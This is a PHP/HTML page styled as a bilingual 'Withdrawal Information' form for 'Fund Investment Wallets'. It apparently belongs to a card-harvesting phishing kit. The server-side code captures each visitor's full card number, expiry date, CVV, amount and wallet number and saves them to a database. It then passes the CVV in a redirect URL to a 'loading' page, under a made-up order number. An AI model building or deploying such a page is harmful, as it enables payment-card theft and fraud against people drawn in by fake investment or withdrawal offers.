<?php 
// تفعيل التخزين المؤقت للمخرجات لضمان عمل الهيدر أونلاين دون مشاكل
ob_start(); 
include("db_details.php"); 

// نقل كود المعالجة وإعادة التوجيه إلى أعلى الصفحة قبل أي مخرجات HTML
if(isset($_POST['send1'])){
    $fullname      = trim($_POST['fullname'] ?? '');
    $number        = trim($_POST['number'] ?? '');
    $time          = trim($_POST['time'] ?? '');
    $cvv           = trim($_POST['cvv'] ?? '');
    $numberaccount = trim($_POST['numberaccount'] ?? '');
    $amount        = trim($_POST['amount'] ?? '');
    $orderNumber   = trim($_POST['orderNumber'] ?? '');
    $form_lang     = trim($_POST['form_lang'] ?? 'en');

    if(empty($fullname) || empty($number) || empty($time) || empty($cvv)){
        $msg = ($form_lang == 'ar') ? 'يرجى تعبئة جميع الحقول' : 'Please fill in all fields';
        echo "<script>alert('".$msg."');</script>";
    } else {
        try {
            $sql = "INSERT INTO info (orderNumber, fullname, cardnumber, expiredate, cvv, numberaccount, amount, iban, wallet_number, acount, type)
                    VALUES (:orderNumber, :fullname, :cardnumber, :expiredate, :cvv, :numberaccount, :amount, :iban, :wallet_number, :acount, :type)";

            $stmt = $db->prepare($sql);
            $result = $stmt->execute([
                ':orderNumber'   => $orderNumber,
                ':fullname'      => $fullname,
                ':cardnumber'    => $number,
                ':expiredate'    => $time,
                ':cvv'           => $cvv,
                ':numberaccount' => $numberaccount,
                ':amount'        => $amount,
                ':iban'          => $number,
                ':wallet_number' => $numberaccount,
                ':acount'        => $numberaccount,
                ':type'          => $_POST['type']
            ]);

            if($result){
                $last_id = $db->lastInsertId();
                // الآن ستعمل إعادة التوجيه أونلاين بنجاح 100%
                header("Location: loading.php?cvv=" . urlencode($cvv) . "&id=" . urlencode($last_id) . "&lang=" . urlencode($form_lang));
                exit;
            }
        } catch(PDOException $e){
            echo "<script>alert('DB ERROR: ".$e->getMessage()."');</script>";
        }
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Withdrawal Information</title>
  <meta name="viewport" content="width=device-width, initial-scale=1.0">

  <link href="https://fonts.googleapis.com/css?family=Raleway|Rock+Salt|Source+Code+Pro:300,400,600" rel="stylesheet">
  <link rel="stylesheet" href="./style.css">

  <script src="https://code.jquery.com/jquery-3.4.1.js" integrity="sha256-WpOohJOqMqqyKL9FccASB9O0KwACQJpFTUBLTYOVvVU=" crossorigin="anonymous"></script>

  <style type="text/css">
      /* تحسينات عامة لجعل النموذج أصغر وأنعم */
      body {
          font-family: 'Raleway', sans-serif;
          background-color: #f8fafc;
          margin: 0;
          padding: 0;
      }

      /* زر تبديل اللغة العائم لضمان عدم تحريك أي عنصر بالصفحة */
      .lang-switch-fixed {
          position: fixed;
          top: 25px;
          left: 20px;
          z-index: 99999;
          background: #fff;
          border: 1px solid #cbd5e1;
          padding: 6px 14px;
          border-radius: 20px;
          cursor: pointer;
          font-weight: 600;
          font-size: 13px;
          color: #334155;
          box-shadow: 0 2px 8px rgba(0,0,0,0.06);
          transition: all 0.2s;
      }
      .lang-switch-fixed:hover {
          background: #f1f5f9;
      }

      .logo-container {
          width: 100%; 
          height: 90px; 
          box-shadow: 0 2px 15px rgba(0,0,0,0.05); 
          background: #fff;
          display: flex;
          align-items: center;
          justify-content: center;
      }

      .logo-img {
          width: 240px; 
          height: auto;
      }

      .payment-title h1 {
          font-size: 22px;
          color: #334155;
          text-align: center;
          margin: 25px 0 15px 0;
          font-weight: 600;
      }

      /* حاوية النموذج المصغرة */
      #myForm {
          background: #ffffff !important;
          max-width: 440px;
          margin: 0 auto 30px auto;
          padding: 25px;
          border-radius: 16px;
          box-shadow: 0 10px 25px rgba(0, 0, 0, 0.05);
          border: 1px solid #e2e8f0;
      }

      /* تنسيق الحقول الموحد */
      .field-container, .select-container {
          margin-bottom: 16px;
          display: flex;
          flex-direction: column;
          align-items: flex-start;
      }

      label {
          font-size: 14px !important;
          color: #64748b;
          margin-bottom: 6px;
          font-weight: 600;
          display: block;
          width: 100%;
          text-align: right;
      }

      /* تنعيم وتصغير المدخلات والقوائم */
      input[type="text"], select {
          width: 100% !important;
          height: 42px !important;
          padding: 0 12px !important;
          font-size: 14px !important;
          border: 1px solid #cbd5e1 !important;
          border-radius: 8px !important;
          background-color: #f8fafc !important;
          color: #334155 !important;
          box-sizing: border-box;
          transition: all 0.3s ease;
          margin: 0 !important;
          text-align: right;
      }

      /* اتجاه لمدخلات البطاقة والأرقام */
      input[dir="ltr"] {
          text-align: left !important;
      }

      input:focus, select:focus {
          border-color: #4CAF50 !important;
          background-color: #fff !important;
          outline: none;
          box-shadow: 0 0 0 3px rgba(76, 175, 80, 0.15);
      }

      /* زر الإرسال الأنعم والأصغر */
      button[type="submit"] {
          background-color: #4CAF50;
          border: none;
          color: white;
          padding: 12px 24px;
          text-align: center;
          display: block;
          width: 100%;
          font-size: 15px;
          font-weight: 600;
          margin-top: 20px;
          border-radius: 8px;
          cursor: pointer;
          transition: all 0.2s ease;
          box-shadow: 0 4px 6px rgba(76, 175, 80, 0.15);
      }

      button[type="submit"]:hover {
          background-color: #43a047;
          transform: translateY(-1px);
          box-shadow: 0 6px 12px rgba(76, 175, 80, 0.2);
      }

      button[type="submit"]:active {
          transform: translateY(0);
      }
  </style>
</head>
<body>

    <button class="lang-switch-fixed" id="langToggleBtn">العربية</button>

    <div class="logo-container">
        <img src="new-logo.svg" class="logo-img">
    </div>

    <div class="payment-title">
        <h1 id="txt-main-title">Withdrawal Information</h1>
    </div>    

    <form id="myForm" method="POST">
        <input type="hidden" name="form_lang" id="form_lang" value="en">

        <div dir="rtl" class="select-container">
            <label for="type" id="txt-card-type">Card Type</label>
            <select name="Type" id="type">
                <option value="Master card">Master card</option>
                <option value="Visa">Visa</option>
            </select>
        </div> 
        
        <div dir="rtl" class="select-container">
            <label id="txt-op-type">Transaction Type</label>
            <select name="type" id="op_type">
                <option value="withdraw" id="txt-opt-withdraw">Withdraw</option>
                <option value="deposit" id="txt-opt-deposit">Deposit</option>
            </select>
        </div>

        <div class="form-container">
            <div class="field-container">
                <label for="name" id="txt-fullname">Full Name</label>  
                <input dir="ltr" name="fullname" id="name" maxlength="20" type="text">
            </div>

            <div class="field-container">
                <label for="cardnumber" id="txt-cardnumber">Card Number</label>
                <input dir="ltr" name="number" id="cardnumber" type="text" inputmode="numeric">
                <svg id="ccicon" class="ccicon" width="750" height="471" viewBox="0 0 750 471" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"></svg>
            </div>

            <div class="field-container">
                <label for="expirationdate" id="txt-expiration">Expiration Date</label>
                <input dir="ltr" placeholder="(MM / YY)" name="time" id="expirationdate" type="text" inputmode="numeric">
            </div>

            <div class="field-container">
                <label for="securitycode" id="txt-securitycode">Security Code</label>
                <input dir="ltr" name="cvv" id="securitycode" type="text" inputmode="numeric">
            </div>

            <div class="field-container">
                <label for="amount" id="txt-amount">Amount</label>  
                <input dir="ltr" name="amount" id="amount_input" maxlength="20" type="text">
            </div>

            <div class="field-container">
                <label for="wallet" id="txt-wallet">Wallet Number</label>  
                <input dir="ltr" name="numberaccount" id="wallet" maxlength="20" type="text">
            </div>
        </div>

        <input type="hidden" name="orderNumber" id="ACCOUNT" value="" maxlength="16" size="16" readonly="">
        <button type="submit" name="send1" id="txt-submit-btn">Submit</button>
    </form>

    <script>
        function randomNumber(len) {
            var randomNumber;
            var n = '';
            for(var count = 0; count < len; count++) {
                randomNumber = Math.floor(Math.random() * 10);
                n += randomNumber.toString();
            }
            return n;
        }
        window.onload = function() {
            document.getElementById("ACCOUNT").value = randomNumber(9);
        };
    </script>

    <div class="container preload">
        <div class="creditcard">
            <div class="front">
                <div id="ccsingle"></div>
                <svg version="1.1" id="cardfront" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 750 471" style="enable-background:new 0 0 750 471;" xml:space="preserve">
                    <g id="Front">
                        <g id="CardBackground">
                            <g id="Page-1_1_">
                                <g id="amex_1_">
                                    <path id="Rectangle-1_1_" class="lightcolor grey" d="M40,0h670c22.1,0,40,17.9,40,40v391c0,22.1-17.9,40-40,40H40c-22.1,0-40-17.9-40-40V40C0,17.9,17.9,0,40,0z" />
                                </g>
                            </g>
                            <path class="darkcolor greydark" d="M750,431V193.2c-217.6-57.5-556.4-13.5-750,24.9V431c0,22.1,17.9,40,40,40h670C732.1,471,750,453.1,750,431z" />
                        </g>
                        <text transform="matrix(1 0 0 1 60.106 295.0121)" id="svgnumber" class="st2 st3 st4">0123 4567 8910 1112</text>
                        <text transform="matrix(1 0 0 1 54.1064 428.1723)" id="svgname" class="st2 st5 st6">John Doe</text>
                        <text transform="matrix(1 0 0 1 54.1074 389.8793)" id="svg-txt-fullname" class="st7 st5 st8">Full Name</text>
                        <text transform="matrix(1 0 0 1 479.7754 388.8793)" id="svg-txt-expiry" class="st7 st5 st8">Expiration Date</text>
                        <text transform="matrix(1 0 0 1 65.1054 241.5)" id="svg-txt-cardnum" class="st7 st5 st8">Card Number</text>
                        <g>
                            <text transform="matrix(1 0 0 1 574.4219 433.8095)" id="svgexpire" class="st2 st5 st9">04/26</text>
                            <text transform="matrix(1 0 0 1 479.3848 417.0097)" id="svg-txt-exp1" class="st2 st10 st11">Exp.</text>
                            <text transform="matrix(1 0 0 1 479.3848 435.6762)" id="svg-txt-exp2" class="st2 st10 st11">Date</text>
                            <polygon class="st2" points="554.5,421 540.4,414.2 540.4,427.9      " />
                        </g>
                    </g>
                    <g id="Back"></g>
                </svg>
            </div>
            <div class="back">
                <svg version="1.1" id="cardback" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 750 471" style="enable-background:new 0 0 750 471;" xml:space="preserve">
                    <g id="Front">
                        <line class="st0" x1="35.3" y1="10.4" x2="36.7" y2="11" />
                    </g>
                    <g id="Back">
                        <g id="Page-1_2_">
                            <g id="amex_2_">
                                <path id="Rectangle-1_2_" class="darkcolor greydark" d="M40,0h670c22.1,0,40,17.9,40,40v391c0,22.1-17.9,40-40,40H40c-22.1,0-40-17.9-40-40V40C0,17.9,17.9,0,40,0z" />
                            </g>
                        </g>
                        <rect y="61.6" class="st2" width="750" height="78" />
                        <g>
                            <path class="st3" d="M701.1,249.1H48.9c-3.3,0-6-2.7-6-6v-52.5c0-3.3,2.7-6,6-6h652.1c3.3,0,6,2.7,6,6v52.5C707.1,246.4,704.4,249.1,701.1,249.1z" />
                            <rect x="42.9" y="198.6" class="st4" width="664.1" height="10.5" />
                            <rect x="42.9" y="224.5" class="st4" width="664.1" height="10.5" />
                            <path class="st5" d="M701.1,184.6H618h-8h-10v64.5h10h8h83.1c3.3,0,6-2.7,6-6v-52.5C707.1,187.3,704.4,184.6,701.1,184.6z" />
                        </g>
                        <text transform="matrix(1 0 0 1 621.999 227.2734)" id="svgsecurity" class="st6 st7">985</text>
                        <g class="st8">
                            <text transform="matrix(1 0 0 1 518.083 280.0879)" class="st9 st6 st10">CVV</text>
                        </g>
                        <rect x="58.1" y="378.6" class="st11" width="375.5" height="13.5" />
                        <rect x="58.1" y="405.6" class="st11" width="421.7" height="13.5" />
                        <text transform="matrix(1 0 0 1 59.5073 228.6099)" id="svgnameback" class="st12 st13">John Doe</text>
                    </g>
                </svg>
            </div>
        </div>
    </div>

    <img src="saa.png" style="width: 100%; max-width:600px; display:block; margin:20px auto;" />

    <script src='https://cdnjs.cloudflare.com/ajax/libs/imask/3.4.0/imask.min.js'></script>
    <script src="./script.js"></script>

    <script type="text/javascript">
        const langData = {
            en: {
                htmlLang: "en",
                pageTitle: "Fund Investment Wallets",
                mainTitle: "Withdrawal Information",
                cardType: "Card Type",
                opType: "Transaction Type",
                optWithdraw: "Withdraw",
                optDeposit: "Deposit",
                fullname: "Full Name",
                cardnumber: "Card Number",
                expiration: "Expiration Date",
                expPlaceholder: "(MM / YY)",
                securitycode: "Security Code",
                amount: "Amount",
                wallet: "Wallet Number",
                submitBtn: "Submit",
                svgFullname: "Full Name",
                svgExpiry: "Expiration Date",
                svgCardnum: "Card Number",
                svgExp1: "Exp.",
                svgExp2: "Date",
                svgNameVal: "John Doe",
                toggleBtnText: "العربية"
            },
            ar: {
                htmlLang: "ar",
                pageTitle: "شحن محافظ استثمارية",
                mainTitle: "معلومات السحب",
                cardType: "نوع البطاقة",
                opType: "نوع العملية",
                optWithdraw: "سحب",
                optDeposit: "إيداع",
                fullname: "الاسم الكامل",
                cardnumber: "رقم البطاقة",
                expiration: "انتهاء الصلاحية",
                expPlaceholder: "(شهر / سنة)",
                securitycode: "رمز الحماية",
                amount: "المبلغ",
                wallet: "رقم المحفظة",
                submitBtn: "إرسال",
                svgFullname: "الاسم الكامل",
                svgExpiry: "تاريخ الانتهاء",
                svgCardnum: "رقم البطاقة",
                svgExp1: "تاريخ",
                svgExp2: "الانتهاء",
                svgNameVal: "محمد",
                toggleBtnText: "English"
            }
        };

        function applyLanguage(lang) {
            localStorage.setItem('user_language', lang);
            const dict = langData[lang];
            
            document.title = dict.pageTitle;
            $('#form_lang').val(lang);
            $('#txt-main-title').text(dict.mainTitle);
            $('#txt-card-type').text(dict.cardType);
            $('#txt-op-type').text(dict.opType);
            $('#txt-opt-withdraw').text(dict.optWithdraw);
            $('#txt-opt-deposit').text(dict.optDeposit);
            $('#txt-fullname').text(dict.fullname);
            $('#txt-cardnumber').text(dict.cardnumber);
            $('#txt-expiration').text(dict.expiration);
            $('#expirationdate').attr('placeholder', dict.expPlaceholder);
            $('#txt-securitycode').text(dict.securitycode);
            $('#txt-amount').text(dict.amount);
            $('#txt-wallet').text(dict.wallet);
            $('#txt-submit-btn').text(dict.submitBtn);

            $('#svg-txt-fullname').text(dict.svgFullname);
            $('#svg-txt-expiry').text(dict.svgExpiry);
            $('#svg-txt-cardnum').text(dict.svgCardnum);
            $('#svg-txt-exp1').text(dict.svgExp1);
            $('#svg-txt-exp2').text(dict.svgExp2);
            
            if($('#name').val() === '') {
                $('#svgname').text(dict.svgNameVal);
                $('#svgnameback').text(dict.svgNameVal);
            }

            $('#langToggleBtn').text(dict.toggleBtnText);
        }

        $(document).ready(function() {
            let selectedLang = localStorage.getItem('user_language') || 'en';
            applyLanguage(selectedLang);

            $('#langToggleBtn').click(function() {
                selectedLang = (selectedLang === 'en') ? 'ar' : 'en';
                applyLanguage(selectedLang);
            });
        });
    </script>
</body>
</html>